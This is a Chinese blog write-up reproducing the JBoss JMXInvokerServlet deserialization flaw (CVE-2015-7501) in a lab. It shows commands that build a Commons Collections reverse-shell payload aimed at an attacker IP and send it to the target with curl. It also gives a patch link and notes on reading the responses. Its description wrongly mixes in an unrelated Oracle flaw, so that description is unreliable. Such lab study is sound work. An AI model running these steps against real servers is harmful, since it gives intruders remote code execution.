JBoss JMXInvokerServlet 反序列化漏洞 CVE-2015-7501 已亲自复现

news2025/1/16 20:09:10

JBoss JMXInvokerServlet 反序列化漏洞 CVE-2015-7501 已亲自复现

  • 漏洞名称
    • 漏洞描述
    • 影响版本
  • 漏洞复现
    • 环境搭建
    • 漏洞利用
  • 修复建议
  • 总结

漏洞名称

漏洞描述

在Oracle Rapid Planning 12.1/12.2.2中发现了一个被归类为“严重”的漏洞。受到影响的是一些未知的组件处理中间层。升级可消除此漏洞。在泄露漏洞后立即发布了可能的缓解措施。

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

影响版本

Redhat Jboss_Operations_Network 3.0
Redhat Jboss_Enterprise_Brms_Platform 5.0.0
Redhat Jboss_Enterprise_Application_Platform 4.3.0
Redhat Jboss_Enterprise_Application_Platform 5.0.0
Redhat Jboss_Data_Virtualization 5.0.0
Redhat Jboss_Enterprise_Application_Platform 6.0.0
Redhat Xpaas 3.0.0
Redhat Jboss_Enterprise_Soa_Platform 5.0.0
Redhat Jboss_Fuse_Service_Works 6.0
Redhat Subscription_Asset_Manager 1.3.0
Redhat Jboss_Bpm_Suite 6.0.0
Redhat Data_Grid 6.0.0
Redhat Jboss_A-Mq 6.0.0
Redhat Jboss_Fuse 6.0.0
Redhat Jboss_Portal 6.0.0
Redhat Jboss_Data_Virtualization 6.0.0
Redhat Openshift 3.0
Redhat Jboss_Enterprise_Brms_Platform 6.0.0
Redhat Jboss_Enterprise_Web_Server 3.0.0

漏洞复现

环境搭建

受害者IP:192.168.63.129:65336
攻击者IP:192.168.63.1

vulfocus下载链接

https://github.com/fofapro/vulfocus
git clone https://github.com/fofapro/vulfocus.git

启动vulfocus

docker-compose up -d 

环境启动后,访问http://192.168.63.129:65336即可看到一个Jboss页面,说明已成功启动。

在这里插入图片描述

访问路径/invoker/JMXInvokerServlet,若提示JMXInvokerServlet文件下载则说明可能存在漏洞;
在这里插入图片描述

漏洞利用

通过借助ysoserial的eCommonsCollections5利用链来复现。生成Payload,生成编译后的Java文件
ReverseShellCommonsCollectionsHashMap.class,生成ReverseShellCommonsCollectionsHashMap.ser文件,进行反弹shell。

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap 192.168.63.1:7777

在这里插入图片描述

curl http://192.168.63.129:65336/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

在这里插入图片描述

使用burp看看响应体会返回什么,抓取原始请求的响应。

在这里插入图片描述

由于在处理/invoker/JMXInvokerServlet请求的时候会读取用户传入的对象,那我们可以构造恶意的数据传入,当jboss处理该数据时即可执行该恶意数据,从而达到执行任意代码的效果;

将生成的ReverseShellCommonsCollectionsHashMap.ser下载到本地,burp抓包后修改为post提交方式,接着右击paste from file上传生成的ReverseShellCommonsCollectionsHashMap.ser文件;(注:攻击机要先开启监听)

在这里插入图片描述

修复建议

Red Hat JBoss Portal任意代码执行漏洞(CVE-2015-7501)的补丁— 登录红帽门户安装对应修复版本
补丁链接:https://access.redhat.com/security/vulnerabilities/2059393

总结

如果payload请求成功,在响应头中返回的状态码为200,在响应体中抛出 org.jboss.invocation.InvocationException异常信息,则需要结合网络日志和流量日志进行分析。如果返回其他状态码,则攻击失败。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1331524.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SQL进阶理论篇(二十):什么是SQL注入

文章目录 简介SQL注入的原理SQL注入的实例搭建sqli-labs注入环境实例一:猜测where条件判断查询语句的字段数获取当前数据库和用户信息获取MySQL中的所有数据库名称查询wucai数据库中的所有数据表查询heros数据表中的所有字段参考文献 简介 这节是纯兴趣篇了。 web…

RocketMQ事务消息实现分布式事务

文章目录 简介实现原理实现逻辑 简介 RocketMQ事务消息 RocketMQ在4.3.0版中支持分布式事务消息,这里RocketMQ的事务消息是采用2PC(两段式协议) 补偿机制(消息回查)的分布式事务功能。提供消息发送与业务落库的一致性。 RocketMQ事务消息&am…

MicroPython的交互式解释器模式 REPL

MicroPython的交互式解释器模式又名REPL(read-eval-print-loop),就是一种命令输入交互模式,跟Python的REPL是类似的,就是在命令行直接输入Python代码或表达式执行并打印结果。关于MicroPython的REPL跟通常的Python类似…

电子病历编辑器源码,提供电子病历在线制作、管理和使用的一体化电子病历解决方案

概述: 电子病历是指医务人员在医疗活动过程中,使用医疗机构信息系统生成的文字、符号、图表、图形、数据、影像等数字化信息,并能实现存储、管理、传输和重现的医疗记录,是病历的一种记录形式。 医院通过电子病历以电子化方式记录患者就诊的信息,包括&…

【常见的语法糖(详解)】

🟩 说几个常见的语法糖 🟢关于语法糖的典型解析🟢如何解语法糖?🟢糖块一、switch 支持 String 与枚举📙糖块二、泛型📝糖块三、自动装箱与拆箱🍁糖块四、方法变长参数🖥️…

Linux多线程:POSIX信号量,基于信号量的环形队列实现生产者消费者模型

目录 一、POSIX信号量1.1 初始化信号量1.2 销毁信号量1.3 等待信号量1.4 发布信号量1.5 基于环形队列的生产消费模型(用信号量控制生产者和消费者之间的同步互斥关系)1.5.1 makefile1.5.2 RingQueue.hpp1.5.3 Sem.hpp1.5.4 Task.hpp1.5.5 main.cc 二、信号量控制的环形队列原理…

.Net 访问电子邮箱-LumiSoft.Net,好用

序言: 网上找了很多关于.Net如何访问电子邮箱的方法,但是大多数都达不到想要的需求,只有一些 收发邮件。因此 花了很大功夫去看 LumiSoft.Net.dll 的源码,总算做出自己想要的结果了,果然学习诗人进步。 介绍&#xff…

Qt 开源项目

Qt 开源项目 Omniverse View链接技术介绍 QuickQanava链接技术介绍QField链接技术介绍 AtomicDEX链接技术介绍 Status-desktop链接技术介绍 Librum链接技术介绍 A Simple Cross-Platform ReaderQPrompt链接技术介绍 GCompris链接技术介绍 Scrite链接技术介绍 QSkinny链接技术介…

如何在PC上运行大模型

如何在PC上运行大模型 在PC上使用CPU运行大模型不如使用GPU高效,但仍然是可以实现的大模型推理。 大模型训练要求的资源更高,这里直接使用面向开源的Facebook’s LLaMA model(llama-2-7b-chat.Q2_K.gguf)。 连接CPU与LLaMA model的是llama.cpp。 为方便…

认识Linux背景

1.发展史 Linux从哪里来?它是怎么发展的?在这里简要介绍Linux的发展史 要说Linux,还得从UNIX说起 UNIX发展的历史 1968年,一些来自通用电器公司、贝尔实验室和麻省理工学院的研究人员开发了一个名叫Multics的特殊操作系统。Mu…

LLaMA开源大模型源码分析!

Datawhale干货 作者:宋志学,Datawhale成员 花了一晚上照着transformers仓库的LLaMA源码,把张量并行和梯度保存的代码删掉,只留下模型基础结构,梳理了一遍LLaMA的模型结构。 今年四月份的时候,我第一次接触…

第一次记录QPSK,BSPK,MPSK,QAM—MATLAB实现

最近有偶然的机会学习了一次QPSK防止以后忘记又得找资料,这里就详细的记录一下 基于 QPSK 的通信系统如图 1 所示,QPSK 调制是目前最常用的一种卫星数字和数 字集群信号调制方式,它具有较高的频谱利用率、较强的抗干扰性、在电路上实现也较为…

基于STM32单片机模拟智能电梯步进电机控制升降毕业设计3

STM32单片机模拟智能电梯步进电机控制数码管显示3 演示视频(复制到浏览器打开): 基于STM32单片机的智能电梯控制系统模拟智能电梯步进电机控制系统设计数码管显示楼层设计/DIY开发板套件3 产品功能描述: 本系统由STM32F103C8T6单…

技术交底二维码的应用

二维码技术交底可以逐级落实、责任到人、有据可查、是目前最方便、实用的交底方式,下面我们讲解技术交底二维码的应用。 1、生成对应的技术交底二维码,将施工方案、技术资料、安全教育资料等内容上传到二维码里。打印出来现场粘贴,便于作业班…

(一)深入理解Mysql底层数据结构和算法

什么是索引 索引是帮助MySQL高效获取数据的排好序的数据结构 数据结构有哪些 数据结构模拟网站:Data Structure Visualization 二叉树 不适合做自增ID的数据结构。如下示意图,假设采用二叉树作为表自增主键ID的数据存储结果如下:当查询i…

行列式:方程组未知数的计算:克拉默法则

行列式:方程组未知数的计算 ![ ](https://img-blog.csdnimg.cn/direct/4a9c2800da3746ea95c1a3c93057d796.png)

VS Code实现“Ctr+save”保存代码自动格式化

一、下载Prettier - Code formatter插件 点击安装即可 二、配置 【1】打开文件——首选项——设置 或者左下角齿轮打开设置 【2】搜索设置框输入editor default formatter(意思是默认格式化设置),接着下拉选中刚下好的插件名称Prettier - C…

【Vulnhub 靶场】【Corrosion: 1】【简单】【20210731】

1、环境介绍 靶场介绍:https://www.vulnhub.com/entry/corrosion-1,730/ 靶场下载:https://download.vulnhub.com/corrosion/Corrosion.ova 靶场难度:简单 发布日期:2021年07月31日 文件大小:7.8 GB 靶场作者&#xf…

Windows安装cnpm报错 The operation was rejected by your operating system.

Windows在安装cnpm时出现如下错误 npm ERR! The operation was rejected by your operating system. npm ERR! Its possible that the file was already in use (by a text editor or antivirus), npm ERR! or that you lack permissions to access it. npm ERR! npm ERR! If y…

[vue]Echart使用手册

[vue]Echart使用手册 使用环境Echart的使用Echart所有组件和图表类型Echart 使用方法 使用环境 之前是在JQuery阶段使用Echart,直接引入Echart的js文件即可,现在是在vue中使用,不仅仅时echarts包,还需要安装vue-echarts: "…